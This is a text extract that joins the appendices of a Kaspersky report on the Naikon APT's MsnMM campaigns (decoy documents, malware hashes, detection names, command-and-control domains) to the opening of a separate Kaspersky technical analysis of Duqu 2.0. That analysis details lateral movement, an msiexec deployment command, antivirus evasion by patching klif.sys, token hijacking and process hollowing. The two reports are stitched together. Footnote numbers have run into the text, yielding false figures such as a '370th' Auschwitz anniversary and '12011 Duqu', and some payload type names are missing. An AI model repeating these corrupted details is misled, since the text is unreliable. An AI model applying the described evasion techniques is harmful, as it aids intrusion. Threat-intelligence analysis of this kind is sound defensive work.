decoy pdf that opens on execution, [as well as?] the Naikon backdoor (ab0185f3dc730af754559297f6f47492) and accompanying mshtml.dat component (03A3251BDE74DF30AB5BF0B730E08C8D) For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White that communicates with C2 xl.findmy.pw. This dropper is built with the attackers pdfBind 2012 tool. Once extracted to disk, you can see that the icon was replaced for the executable with an Adobe pdf icon. Lots of users fall for this sort of trick when file extensions are not visible: For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns APPENDIX A: MsnMM SPEAR-PHISH AND DECOY CONTENT Image 1. s verdict owed respect 17 Apr 2013.doc Image 2. FDI Law Weeding Menu.doc For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 3. Danh sach dai bieu HNHTDMNC tai TPHCM.doc Image 4. Thein Sein first European tour.doc Image 5. ASEAN and Partners Firmly Committed To Narrowing Development Gap.doc For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns Image 6. ALP Statement on Present Illegal Bangali Problem inside Arakan.doc Image 7. ISEAS Perspective 29nov12.doc For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 8. Learning Journal ASC 13-1_1.doc (related to http://www.apcss.org/wp-content/uploads/2013/01/finalfinalhandbookJan13.pdf, http://www.apcss.org/) Image 9. unnamed.jpg 48c2d02c443d70fe004a2d6fb9439f76, cve-2012-0158, mau van ban.doc or 2013_ thong tin gia dinh.doc , delivered to VN targets For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White winMM-related Dropped Decoy Documents Image 1. book form for naning 30-8.doc (dropped by 448cd7c3ae0ae445d805a4849fe5e120) For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns Image 2. Unknown. Dropped by 748c4761822dc7076399922df58551ae For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 3. fact sheet asean-us (president office format).doc Dropped by fact sheet asean-us (president office format).doc .exe 6803bd509d36d2b99049fcc9d975a21c Image 4. Trade and Investment (english).doc Dropped by b049fdeeb707e86e5e334f72cd50ffd8 trade and investment (english).doc .exe For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 5. List of Attendance.doc Dropped by F14C42765F130EE6DEC3A87DC50A47E1 Image 6. talking point english(english).doc Dropped by talking point english(english).doc .exe , 800116c4fe842768a0e1acbc72c8cd62 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 7. talking point myanmar (21-3-2013).docx Dropped by talking point myanmar (21-3-2013).docx .exe 416e6c9105139080310984ed06f6a57b Image 8. Unknown. Dropped by 6758fc7e483ad9cd6280bcc3f4d85222 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 9. tp for vp with swiss_myanmar[1].doc Dropped by tp for vp with swiss_myanmar[1].doc .exe 90E9BDFC1FC6FE5999B047880C7445AE Image 10. Unknown. Dropped by 7F422B43EEB93B230FF7553C841C4785 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns Image 11. Unknown. Dropped by 1d6258bc3688226e7cb56fb821215a8b Image 12. Unknown. Dropped by 7a9712cbb3e340e577ce0320cceeb05f For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 13. tp for ec (myanmar).doc Dropped by tp for ec (myanmar).doc .exe , 9f23c0aed27f0874308bbd5f173ed85b Image 14. trade and investment (english).doc Dropped by trade and investment (english).doc .exe , dabba458b13cb676406c2bb219af9f81 For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 15. 11th bcim fapc memo.doc Dropped by 11th bcim fapc memo.doc .exe , d57a7369d79467d7c768bb08febcc6a2 Image 16. (r) final h.e remarks.doc Dropped by (r) final h.e remarks.doc .exe , 7c0676d950a1443e98b7d5b4727923ea For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns Image 17. lo list(26-8-2013).docx Dropped by lo list(26-8-2013).docx .exe , 55048b78e9549c462c1463f7648454a5 Image 18. company lists.doc Dropped by company lists.doc .exe , 113822c9bfeed38c099ae9004f1d8404 For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Image 19. sightseeing tour in bagan.doc Dropped by sightseeing tour in bagan.doc .exe , 21119ddd01694bb9181286b52cf1203c Image 20. Ns admin.docx Dropped by ns admin.docx .exe , 6f9b6adbb33b7c8912aa2e5ae1c39f7a For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White APPENDIX B: KASPERSKY LAB VERDICT NAMES Components related to the Naikon APT are detected under a range of verdict names. Below is a listing of the most common: Backdoor.Win32.MsnMM.* Backdoor.Win32.MsnMM.a - .af Backdoor.Win32.Sakto.* Backdoor.Win32.Sakto.a - .ct Trojan-Downloader.Win32.Cordmix.* Trojan-Downloader.Win32.Cordmix.b Trojan-Downloader.Win32.Cordmix.ch Trojan-Downloader.Win32.Cordmix.cs Trojan-Downloader.Win32.Cordmix.ds HackTool.Win32.Agent.* HackTool.Win32.Agent.whj Exploit.MSWord.CVE-2012-0158.* Exploit.MSWord.CVE-2012-0158.cb Exploit.MSWord.CVE-2012-0158.ci Exploit.MSWord.CVE-2012-0158.di Exploit.MSWord.CVE-2012-0158.dj Exploit.MSWord.CVE-2012-0158.du Exploit.MSWord.CVE-2012-0158.eb Exploit.Win32.CVE-2012-0158.* Exploit.Win32.CVE-2012-0158.a Exploit.Win32.CVE-2012-0158.aw Exploit.Win32.CVE-2012-0158.j Trojan-Dropper.MSWord.Agent.* Trojan-Dropper.MSWord.Agent.hc Exploit.OLE2.CVE-2012-1856.a HEUR:Exploit.MSWord.CVE-2012-0158.gen Exploit.OLE2.Toolbar.a For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns Backdoor.Win32.Agent.* Backdoor.Win32.Agent.bjer Backdoor.Win32.Agent.dcyv Backdoor.Win32.Agent.dfbk Backdoor.Win32.Agent.dgpd Backdoor.Win32.Zegost.* Backdoor.Win32.Zegost.aekr Trojan.Win32.Agent.* Trojan.Win32.Agent.acflt Trojan.Win32.Agent.acfma Trojan.Win32.Agent.adddt Trojan.Win32.Agent.hofz Trojan.Win32.Agent.siai Trojan.Win32.Agent.spde Trojan.Win32.Agent.tlhi Trojan.Win32.Agent.tpbo Trojan.Win32.Agent.unhn Trojan.Win32.Agent.xikp Trojan.Win32.Agentb.* Trojan.Win32.Agentb.bbca Trojan.Win32.Agentb.bphx Trojan.Win32.Agentb.iqj Trojan.Win32.Agentb.jwp Trojan-Downloader.Win32.Agent.* Trojan-Downloader.Win32.Agent.gxqe Trojan-Downloader.Win32.Agent.zzrd Trojan-Spy.Win32.Agent.* Trojan-Spy.Win32.Agent.chrj Trojan-Spy.Win32.Agent.chuq Trojan-Spy.Win32.Agent.cibn Trojan-Spy.Win32.Agent.cicz Trojan-Spy.Win32.Agent.ciet Trojan-Spy.Win32.Agent.cifj Trojan-Spy.Win32.Agent.ciry Trojan-Spy.Win32.Agent.ciiu Trojan-Spy.Win32.Agent.cita For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns Trojan-Spy.Win32.Agent.cjez Trojan-Spy.Win32.Agent.cjkg Trojan-Spy.Win32.Agent.cjmv Trojan.Win32.Pincav.* Trojan.Win32.Pincav.cngx Trojan.Win32.Sasfis.* Trojan.Win32.Sasfis.dmmt Trojan-Dropper.MSIL.Agent.* Trojan-Dropper.MSIL.Agent.aidh Trojan-Dropper.Win32.Dycler.* Trojan-Dropper.Win32.Dycler.ssr Trojan-Dropper.Win32.Dycler.sss Trojan-Dropper.Win32.Injector.* Trojan-Dropper.Win32.Injector.jujl Trojan-Dropper.Win32.Injector.kblf Trojan-Dropper.Win32.Injector.kbre Trojan.Win32.Zapchast.* Trojan.Win32.Zapchast.aerr Trojan.Win32.Zapchast.aest Trojan.Win32.Zapchast.aetr Trojan.Win32.Zapchast.aety Trojan.Win32.Zapchast.aevb Trojan.Win32.Zapchast.aevg Trojan.Win32.Zapchast.afma Trojan.Win32.Zapchast.afcz HEUR:Trojan.Win32.Generic HEUR:Trojan.Win32.Invader For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns APPENDIX C: MD5 REFERENCE SET SslMM 469ca0c73398903908babcad14300d8d 95c4a236faa65b75dbb0076d8248584c WinMM c8c81cca4645e71213f2310cec6c277d 45a99f60654f22b671aec980687d0f15 WininetMM/Sakto 9883abc829870478ce6f3cfddbcbbaf2 a5721c5e7f2b49df82595819b5a49c0c Injectv1/InjectResource 5c04904a50f0285851fb7292c13858ec Exe_Exchange 6a82c153bd370250cc2fed89f1bb5c91 48fb78e8ba531505e246760c0d02d6b0 For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns Sys10 c58df5892700ac3f467524f86bf325c0 33d388c6e841ede3920f79516b5da032 xsPlus (nokian) and plugin d86106faaa398b8d83437176bf5e39c4 041436594c1ce9e99c569fb7402fe0c7 d0fba5db608ac8f5a3d05a71ceb0eca1 For full indicator and other details, please contact intelreports@kaspersky.com TLP White The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White APPENDIX D: C2 (DOMAIN) REFERENCE SET ahzx.eicp.net bkav.imshop.in googlemm.vicp.net mncgn.51vip.biz myanmartech.vicp.net thailand.vicp.net ubaoyouxiang.gicp.net vietnam.gnway.net For full indicator and other details, please contact intelreports@kaspersky.com The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White Securelist, the resource for Kaspersky Lab experts technical research, analysis, and thoughts. Follow us Kaspersky Lab global Website Academy Business Eugene ThreatPost Daily Eugene Kaspersky Blog Daily Kaspersky Lab B2C Blog Business Daily Kaspersky Lab B2B Blog Academy Business ThreatPost Daily Kaspersky Lab security news service Academy Business Daily Kaspersky Lab Academy Academy Business Eugene SecureList ThreatPost Daily For full indicator and other details, please contact intelreports@kaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: +7-495-797-8700 Fax: +7-495-797-8709 DUQU 2.0 Technical Details Version: 2.1 (11 June 2015) www.kaspersky.com THE DUQU 2.0 Technical Details CONTENTS EXECUTIVE SUMMARY INITIAL ATTACK LATERAL MOVEMENT ANALYSIS OF A DUQU 2.0 MSI PACKAGE File properties First Layer: ActionDLL (msi.dll) Second Layer: ActionData0 Third Layer: klif.dll Attacking AVP.EXE CTwoPENC.dll zero-day and KMART.dll PAYLOAD CONTAINERS AND MIGRATION Payload type Payload run type Payload run type Payload run type Payload run type PLATFORM PLUGGINABLE MODULES PERSISTENCE MECHANISM COMMAND AND CONTROL MECHANISMS The portserv.sys driver analysis SIMILARITIES BETWEEN DUQU AND DUQU 2.0 VICTIMS OF DUQU 2.0 ATTRIBUTION CONCLUSIONS REFERENCES For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details EXECUTIVE SUMMARY Earlier this year, during a security sweep, Kaspersky Lab detected a cyber intrusion affecting several of its internal systems. Following this finding, we launched a large-scale investigation, which led to the discovery of a new malware platform from one of the most skilled, mysterious and powerful groups in the APT world Duqu. The Duqu threat actor went dark in 2012 and was believed to have stopped working on this project - until now. Our technical analysis indicates the new round of attacks include an updated version of the infamous 12011 Duqu malware, sometimes referred to as the step-brother of 2Stuxnet. We named this new malware and its associated platform Duqu 2.0 Victims of Duqu 2.0 have been found in several places, including western countries, the Middle East and Asia. The actor appears to compromise both final and utilitarian targets, which allow them to improve their cyber capabilities. Most notably, some of the new 2014-2015 infections are linked to the P5+1 events and venues related to the negotiations with Iran about a nuclear deal. The threat actor behind Duqu appears to have launched attacks at the venues for some of these high level talks. In addition to the P5+1 events, the Duqu 2.0 group has launched a similar attack in relation to the 370th anniversary event of the liberation of Auschwitz-Birkenau. In the case of Kaspersky Lab, the attack took advantage of a zero-day (CVE-2015-2360) in the WindowsKernel, patched by Microsoft on June 9 2015 and possibly up to two other, currently patched vulnerabilities, which were zeroday at that time. https://en.wikipedia.org/wiki/Duqu http://www.kaspersky.com/about/news/virus/2011/Duqu_The_Step_Brother_of_Stuxnet http://70.auschwitz.org/index.php?lang=en For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details INITIAL ATTACK The initial attack against Kaspersky Lab began with the targeting of an employee in one of our smaller APAC offices. The original infection vector for Duqu 2.0 is currently unknown, although we suspect spear-phishing e-mails played an important role. This is because for one of the patients zero we identified had their mailbox and web browser history wiped to hide traces of the attack. Since the respective machines were fully patched, we believe a zero-day exploit was used. In 2011, we were able to identify Duqu attacks that used Word Documents containing an exploit for a zero-day vulnerability (CVE-2011-3402) that relied on a malicious embedded TTF (True Type Font File). This exploit allowed the attackers to jump directly into Kernel mode from a Word Document, a very powerful, extremely rare, technique. A similar technique and zero-day exploit ( 4CVE-2014-4148) appeared again in June 2014, as part of an attack against a prominent international organization. The C&C server used in this 2014 attack as well as other factors have certain similarities with Duqu, however, the malware is different from both Duqu and Duqu 2.0. It is possible that this is a parallel project from the Duqu group and the same zero-day (CVE-2014-4148) might have been used to install Duqu 2.0. Once the attackers successfully infected one machine, they moved on to the next stage. LATERAL MOVEMENT In general, once the attackers gain access into a network, two phases follow: Reconnaissance and identification of network topology Lateral movement In the case of Duqu 2.0, the lateral movement technique appears to have taken advantage of another zero-day, (CVE-2014-6324) which was patched in November 2014 with 5MS14-068 . This exploit allows an unprivileged domain user to elevate credentials to a domain administrator account. Although we couldn t retrieve a copy of this exploit, the logged events match the Microsoft detection guidance for this attack. Malicious modules were also observed performing a pass the hash attack inside the local network, effectively giving the attackers many different ways to do lateral movement. Once the attackers gained domain administrator privileges, they can use these permissions to infect other computers in the domain. To infect other computers in the domain, the attackers use few different strategies. In most of the attacks we monitored, they prepare Microsoft Windows Installer Packages (MSI) and then deploy them remotely to other machines. To launch them, the attackers create a service on the target machine with the following command line: msiexec.exe /i C:\\[ ]\tmp8585e3d6.tmp /q PROP=9c3c7076-d79f-4c https://www.fireeye.com/blog/threat-research/2014/10/two-targeted-attacks-two-new-zero-days.html https://technet.microsoft.com/library/security/MS14-068 For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The PROP value above is set to a random 56-bit encryption key that is required to decrypt the main payload from the package. Other known names for this parameter observed in the attacks are HASHVA and CKEY . The folder where the package is deployed can be different from case to case, depending on what the attackers can access on the remote machine. In addition to creating services to infect other computers in the LAN, attackers can also use the Task Scheduler to start msiexec.exe remotely. The usage of Task Scheduler during Duqu infections for lateral movement was also observed with the 2011 version and was described by 6Symantec in their technical analysis. msiexec.exe - Task Scheduler trace in the logs The MSI files used in the attacks contain a malicious stub inside which serves as a loader. The stub loads the other malware resources right from the MSI file and decrypts them, before passing execution to the decrypted code in memory. Malicious stub with query to load the other resources from the MSI file highlighted. The encryption algorithms used for these packages differ from case to case. It important to point out that the attackers were careful enough to implement unique methods, encryption algorithms and names (such as file names) for each attack, as a method to escape detection from security products and limit the ability of an antivirus company to find other infections once one of them has been identified. So far, we ve seen the following encryption algorithms used by the attackers: Camellia http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_ the_next_stuxnet.pdf For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details XTEA Different multibyte XOR-based encryption For compression algorithms, we ve seen the following: LZJB FastLZ In essence, each compiled attack platform uses a unique combination of algorithms that make it very difficult to detect. The attackers can deploy two types of packages to their victims: Basic , in-memory remote backdoor (~500K) Fully featured, C&C-capable, in-memory espionage platform (18MB) These have similar structures and look like the following: Malicious Duqu 2.0 MSI package. In the screenshot above, one can see the loader (ActionDll: 17,920 bytes) and the main payload (ActionData0: 476,736 bytes). Upon execution, ActionDll is loaded and control is passed to its only export, StartAction. The basic in-memory remote backdoor is pushed to computers inside the domain by the Domain Controller on a regular basis almost like a worm infection. This gives the attackers an entry into most of the machines from the domain and if further access is needed, they can upload a more sophisticated MSI file that deploys tens of different plugins to harvest information. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details A thorough description of the malware loading mechanism from the basic remove backdoor MSI can be found below. ANALYSIS OF A DUQU 2.0 MSI PACKAGE Filename: random / varies from case to case MD5 (example, can vary): 14712103ddf9f6e77fa5c9a3288bd5ee Size: 503,296 bytes File properties The MSI file has the following general properties: Composite Document File V2 Document Little Endian OS: Windows, Version 6.1 Code page: 1252 Title: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} (randomly generated GUIDs) Subject: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} Author: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} Keywords: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} Comments: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} Template: Intel;1033 Last Saved By: {7080A304-67F9-4363-BBEB-4CD7DB43E19D} Revision Number: {4ADA4205-2E5B-45B8-AAC2-D11CFD1B7266} Number of Pages: 100 Number of Words: 8 Name of Creating Application: Windows Installer XML (3.0.5419.0) Security: 4 It should be noted that MSI files used in other attacks can have different other properties. For example, we observed several other fields: Vendor: Microsoft or InstallShield Version: 1.0.0.0 or 1.1.2.0 or 2.0.0.0 For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Some of these are visible via the Windows Explorer file properties dialog box: There are two binary blocks inside this MSI package: For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The first binary, called ActionDll, is in fact a Windows PE DLL file, while the other one is a Camellia-encrypted and LZJB-compressed data payload (the encryption and compression algorithm vary from case to case). In fact, there are several layers of executable code embedded one into another as compressed or encrypted binary blocks. Here s a look at a Duqu 2.0 MSI package, with all its internal payloads: We describe these components in more detail below. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details First Layer: ActionDLL (msi.dll) Original filename: msi.dll MD5: e8eaec1f021a564b82b824af1dbe6c4d Size: 17 920 bytes Link time: 2004.02.12 02:04:50 (GMT) Type: 64-bit PE32+ executable DLL for MS Windows This DLL has only one export name called StartAction, which is called in the context of msiexec.exe process. When this function is called, it retrieves an MSI property called PROP and uses it as a decryption key for the bundled ActionData0 package: Next, the code iterates over 12 possible payloads that have to be decrypted and started. The payloads are part of the MSI and may have the following names: ActionData0, ActionData1, ActionData2, etc. The package described here contains only one payload named ActionData0 Second Layer: ActionData0 This binary chunk contains the main code, in compressed and encrypted format. It represents a composition of executable, position-independent code blocks mixed with embedded data objects. The code seems to be based on a framework and heavily uses helper structures that contain pointers to a set of system APIs and offsets to internal data blocks. Such structures are definitely a trademark of the developer. When they are initialized, one field (usually the first 4 bytes) contains a magic value that identifies the state and type of the structure. Another trademark of the coder is the way to import system API by module and export name hashes. The hashing algorithm was found all over this and other layers of executable code. It s easily recognizable by two DWORD constants: 0x8A20C27 and 0x67F84FC6. Basically, the code in ActionData0 passes execution to an embedded executable, which we will refer by its internal name: klif.dll . The execution is passed to the second exported function in table of exports of this DLL file. This disregards the export name and relies only on the order of functions in the table of PE export ordinals. When this export function is called, a next stage helper structure pointer is passed to it, so that it can use some of the values set on the upper layer. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details However, before passing execution to klif.dll, the code attempts alternative routes. First, it attempts to find the name of the following format api-ms-win-shell-XXXX. , where can be any decimal number. The name is valid if there is no module with such filename loaded into current process. The code attempts to iteratively find such name starting from api-ms-win-shell-0000.dll, api-ms-win-shell-0001.dll, api-ms-winshell-0002.dll and so on. This may be a dependency to the Duqu platform component that is yet to be discovered. Right after this, if the name was found, the code attempts to map a section kernel object by name, which is generated using a PRNG-based algorithm. The name of the section has the following template: \BaseNamedObjects\{XXXXXXXX-XXXX-XXXX-XXXXXXXXXXXX} , where is any hexadecimal digit that is generated based on current system boot time. So far, the name of the section is machine/boot time dependent, which makes it unique but allows other processes of modules to locate such section if they use the same name generation algorithm. This section is accessed in different other parts of the code and modules. Lets refer to this section as OSBoot-section from now. Once the section name is generated the code tries to open such section and, if it is found, it takes some values from it and attempts to open a specific device and issue a number of IOCTL codes to the driver. The name of the driver device as well as IOCTL codes are located inside a section of the kernel mode driver KMART.dll that is described below. The code developer has a preference for using sections to any other ways to access data. Another use of sections appears to be in mapping the part of code/data where klif.dll is embedded and then finding that section using a hardcoded magic QWORD number: 0xA1B5F8FC0C2E1064. Once the section is found in address space of current process the code attempts to pass execution to it. This alternative execution route is not applicable to current MSI file package but simply exists in the code probably due to common code template used for building current MSI package. It may also be an indicator of another Duqu platform component that wasn t used in the attacks that we observed. Third Layer: klif.dll Original filename: klif.dll MD5: 3fde1bbf3330e0bd0952077a390cef72 Size: 196 096 bytes Link time: 2014.07.06 08:36:50 (GMT) Type: 64-bit PE32+ executable DLL for MS Windows Apparently, this file attempts to mimic some of legitimate names of Kaspersky Lab product components: klif.sys . Although there is neither similarity in code nor in file information, the module uses Kaspersky Lab acronym in it s export names: KLInit and KLDone. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details When this DLL is loaded into a new process, it simply initializes internal structures, such as those providing pointers to the required system API. The real payload of this module is located in the KLDone export function, which is second in the list of the export table. This export function is called from the previous code layer. First, it makes sure that global application structure is initialized with essential functions from ntdll.dll, kernel32.dll and user32.dll. System API functions are imported using hashes of export names. The hashing algorithm is identical to the one described one layer above and uses the same magic constants: 0x8A20C27 and 0x67F84FC6. Next the code iterates through the list of running processes and hashes lowercase name of each process. The hash is compared to a hardcoded value of 0x3E3021CB, which is a hash for the avp.exe string. Attacking AVP.EXE If the avp.exe process is running, the module attempts to open the OSBoot-section as described before and tries to attack the avp.exe process. The attack starts from identifying the exact path to the installed Kaspersky Lab product by iterating through an array of hardcoded registry keys and values for the following products: KES12 AVP15 AVP10 KES11 AVP14.0.0 KES9 KES10 AVP14 KES8 AVP16.0.0 AVP13 AVP80 AVP16 AVP12 AVP90 AVP15.0.0 AVP11 AVP9 AVP8 AVP7 AVP6 The registry values queried by the module contain a filesystem path to the root directory where the corresponding product is installed. For example: C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 15.0.0\ Once the registry key and value is found, the module confirms that avp.exe file is located in that directory. It does some basic file availability checks as well: makes sure that environment variables are resolved and the file can be opened for reading and it begins with 0x5A4D (magic value of Windows executables). After that, the module creates a new section and maps avp.exe as a file view to this section. To allow code execution, the attributes of this memory region are also changed accordingly. This allows the module to change bytes from the mapped avp.exe in memory. The module applies two patches to the mapped avp.exe in a quite unusual way using SSE2 CPU extensions. In fact, it patches just the old DOS PE header (less than 120 bytes). The patches are simple callback mechanisms that call arbitrary function passed as an argument. Right after this, the module attempts to start a new thread that begins with one of the patched locations. So far, it looks like the new thread begins with a call originating from avp.exe module that does some other calls, i.e. jumping back to klif.dll. Apparently, this For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details attack was introduced to trick the avp.exe process into believing that further calls will be safe and trusted as the root of the call stack is coming from the legitimate avp.exe module. This is what we see further down in the code: the new thread instantly jumps from avp.exe back to klif.dll and tries to communicate with the Kaspersky Lab product minifilter driver, known as klif.sys. In fact, just before communicating with klif.sys, it opens OSBoot-section and gets an IOCTL code as well as the driver device name to send this IOCTL code to. The section and corresponding driver (KMART.dll) provide certain support to the current module. The code hashes current process name and verifies if it falls down into one of three hashes: 0x3E3021CB (avp.exe), 0xDE6D4DA0 (msiexec.exe), 0xB915B2D8 (rundll32.exe). If current process name hash is recognized, the module communicates with klif.sys by opening \KlifComm minifilter communication port and sending series of driver communication messages. According to analysis of the messages, this technique makes process or thread operations invisible to the klif interceptor. Such registered entity is considered to be trusted and its activity is removed from AV-scanning, process monitoring, firewall and other defense engines that are subscribed to intercepted events. In addition, the module requests support of the self-defense feature of Kaspersky Lab product, which is normally used to protect the software from aggressive malware which kills the security software processes using a number of techniques available from the OS. This of course guarantees that even a user with administrative privileges cannot stop such process. Considering that this seemed to be an attack against Kaspersky Lab products, we did some additional tests of the products and found that current products verify the caller process by checking its custom digital signature. So far, without additional driver support, this technique should fail. Verification of the digital signature of the process that opened \KlifComm minifilter communication port was implemented in all Kaspersky Lab products since 2010. So far, this could affect only older products such as KIS2010, which was released by Kaspersky Lab in 2009 It doesn t look realistic now that the attackers started implementing tricks against Kaspersky Lab products in 2009 or earlier. So we looked for another rational explanation and seem to have found it. Such an attack doesn t normally work against our products because they verify that the caller process is legitimate by checking its custom digital signature. To bypass this, the Duqu 2.0 component named KMART.dll patches klif.sys in memory to bypass this check. The attack works because the attacker KMART.dll is already running in kernel mode due to a vulnerability in the Windows kernel. After sending the codes, the module proceeds to the next stage, which is process migration, described further below. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details CTwoPENC.dll zero-day and KMART.dll The third layer klif.dll performs a multitude of functions in order to ensure the survival of the malware in memory and bypass antivirus detections. One important step is to get kernel level access. On 64-bit systems, one cannot simply load and run kernel mode code without a signed driver. While other attackers such as Equation or Turla chose to piggyback on third-party signed drivers, the Duqu 2.0 platform relies on a much more cunning trick. One of the payloads bundled together with klif.dll is called CTwoPENC.dll . This is aWindows kernel mode exploit (CVE-2015-2360) that allows them to run code with the highest privileges in the system We recovered several versions of CTwoPENC.dll , both for 32-bit and 64-bit versions of Windows, with the following compilation timestamps: 2014.08.25 01:20:04 (GMT) 2014.08.25 01:19:03 (GMT) 2014.07.06 09:17:03 (GMT) Unlike other Duqu 2.0 modules, these timestamps appear to be legitimate. The reason for this remains unknown perhaps the Duqu platform developers got this module from somebody else and forgot to patch its compilation timestamp. CTwoPENC.DLL exploits a zero-day vulnerability in win32k.sys to gain kernel privileges while being run as an unprivileged user. It creates several windows with classes named CPer Zero CTwo Vero in several threads and manipulates the callback pointers. Part of the exploit code that registers window classes and creates new windows. The main purpose of the exploit is to load a driver named KMART.dll . If the exploit succeeds, it decompresses KMART.dll from the module s body and passes control For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details to it while running in kernel mode. Both 32-bit and 64-bit versions of the KMART. exist. This driver implements a kernel-mode attack against the Kaspersky Lab products filter klif.sys . It patches the import table addresses of system API functions PsGetCurrentProcessId, PsLookupProcessByProcessId and KlGetStringRef export of Kaspersky Lab s anti-virus driver klflt.sys. The intercepted functions are preceded by malicious code that impersonates the other malicious modules as coming from the process/file avp.exe (using the actual location of the anti-virus component), thus evading monitoring by the anti-virus software. During testing, the zero-day exploit worked on all contemporary Windows versions (XP, Vista, 7, 8, 8.1 both 32-bit and 64-bit). This vulnerability has been patched by Microsoft on June 9, 2015. PAYLOAD CONTAINERS AND MIGRATION The module supports a number for different payloads provided in the form of containers following klif.dll in memory (located in PE overlay). A payload container contains a short header describing target CPU architecture, payload type and target process name or hash. When the module uses some embedded code or file there is normally at least two variants of code bundled inside: 32 and 64-bit. Each payload run type is identified by a single character. Current module supports the following 5 payload run types: g, i, k, l, q. Seems like the developer used ordered alphabet characters, which means that there could be other payload run types which were removed from the code at some time. Currently the container located in the overlay of subject executable contains a character as a payload run type, so lets describe it first. Payload type First, the code looks for privileges from other processes. The process handle can be hardcoded or obtained by looking for currently running processes, hashing their names and comparing them to one of known hashes. The module includes the following hardcoded process hashes: 0x31283314 (services.exe), 0x1026D1BA (lsass.exe), 0x3BD2498C (svchost.exe). If any of the recognized processes are found, the module opens process token and verifies that the following privileges are available: SeDebugPrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeImpersonatePrivilege SeRestorePrivilege If they are available the module duplicates process token and saves it into an internal structure for future use. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The module looks for one of the available security suites installed in current system and some generic processes if nothing was found. It attempts to find executable files of the following software: More than 20 different Kaspersky Lab products McAfee VSCore, SystemCore, HIP Symantec Internet Security Bitdefender ESET H+BEDV TrendMicro Network Security Component Rising AV Avast AVG 2012/2013/2014/2015 F-Secure Qihoo 360 Security Generic Windows Processes: oo %ProgramFiles(x86)%\Windows Defender\MsMpEng.exe oo %SystemRoot%\syswow64\svchost.exe oo %SystemRoot%\system32\lsass.exe oo %SystemRoot%\system32\svchost.exe When such an executable is found and eventually it should (at least svchost or lsass. exe should be present), it runs a new process from discovered location and replaces its executable code with own embedded into current executable in encrypted and compressed form. If the code manages to find a security token from one of the processes with required security privileges, it will try to use this token when creating a new process using CreateProcessAsUser API. Otherwise it simply spawns new process instance. The new process is started in suspended and debugged state. Just before starting the new process it disables DEP for the child processes to simplify code injection and data manipulation. So far, from the outside, it may look like a security software was started, while from the inside its code is completely different from legitimate module. Payload run type This payload is almost identical to payload L described above, but the loader is simpler - it skips hijacking of privileged token. Code injection target is selected automatically depending on the availability of known processes. Payload run type This payload is similar to payload G, but makes the loader parse payload header a bit differently: instead of process name string it takes only 4 bytes, which are supposedly used as a process hash. This seems to be a way to hide target process name and use only hash, however this hasn t been implemented completely in the module we analyzed. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Payload run type This payload is designed to run within the context of the current process. The code simply copies the code to be executed into separate memory and runs it in a dedicated thread. It blocks until thread finishes its execution. Payload run type This payload 